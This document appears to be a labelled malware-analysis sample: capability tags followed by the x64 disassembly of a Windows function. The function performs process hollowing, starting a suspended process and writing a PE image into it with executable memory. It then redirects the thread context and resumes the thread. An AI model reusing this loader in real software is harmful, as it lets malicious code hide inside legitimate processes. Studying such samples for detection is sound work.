Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Resume thread
Use process replacement

Disassembly:
push rbx
push r13
sub rsp, 0x508
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x4e0], rax
movsxd rbx, dword [0x14000507c]
lea r13, [0x140005040]
xorps xmm1, xmm1
xor eax, eax
add rbx, r13
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
mov qword [rsp + 0xd0], rax
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x70], xmm1
movups xmmword [rsp + 0x80], xmm1
movups xmmword [rsp + 0x90], xmm1
movups xmmword [rsp + 0xa0], xmm1
movups xmmword [rsp + 0xb0], xmm1
movups xmmword [rsp + 0xc0], xmm1
cmp dword [rbx], 0x4550
jne 0x140001272
mov r8d, 0x104
mov qword [rsp + 0x500], r12
lea rdx, [rsp + 0xe0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor r12d, r12d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0xe0]
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], r12
xor edx, edx
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14000126a
lea edx, [r12 + 8]
mov qword [rsp + 0x530], rdi
xor ecx, ecx
lea r9d, [r12 + 4]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
mov rdi, rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140001262
mov r8d, dword [rbx + 0x50]
mov r9d, 0x3000
mov rdx, qword [rbx + 0x30]
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x528], rsi
mov qword [rsp + 0x4f8], r14
mov qword [rsp + 0x4f0], r15
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rbx + 0x54]
mov r8, r13
mov rcx, qword [rsp + 0x50]
mov rdx, rax
mov rsi, rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r14d, r12d
cmp r12w, word [rbx + 6]
jae 0x140001215
mov qword [rsp + 0x520], rbp
mov ebp, r12d
nop word [rax + rax]
movsxd rcx, dword [0x14000507c]
add rcx, rbp
mov qword [rsp + 0x20], r12
mov r8d, dword [rcx + r13 + 0x11c]
mov edx, dword [rcx + r13 + 0x114]
add r8, r13
mov r9d, dword [rcx + r13 + 0x118]
add rdx, rsi
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [rdi + 0x88]
lea r8, [rbx + 0x30]
mov rcx, qword [rsp + 0x50]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rbx + 6]
inc r14
add rbp, 0x28
cmp r14, rax
jb 0x1400011a0
mov rbp, qword [rsp + 0x520]
mov eax, dword [rbx + 0x28]
mov rdx, rdi
add rax, rsi
mov qword [rdi + 0x80], rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r15, qword [rsp + 0x4f0]
xor eax, eax
mov r14, qword [rsp + 0x4f8]
mov rsi, qword [rsp + 0x528]
mov rdi, qword [rsp + 0x530]
mov r12, qword [rsp + 0x500]
mov rcx, qword [rsp + 0x4e0]
xor rcx, rsp
call fcn.1400012b0
add rsp, 0x508
pop r13
pop rbx
ret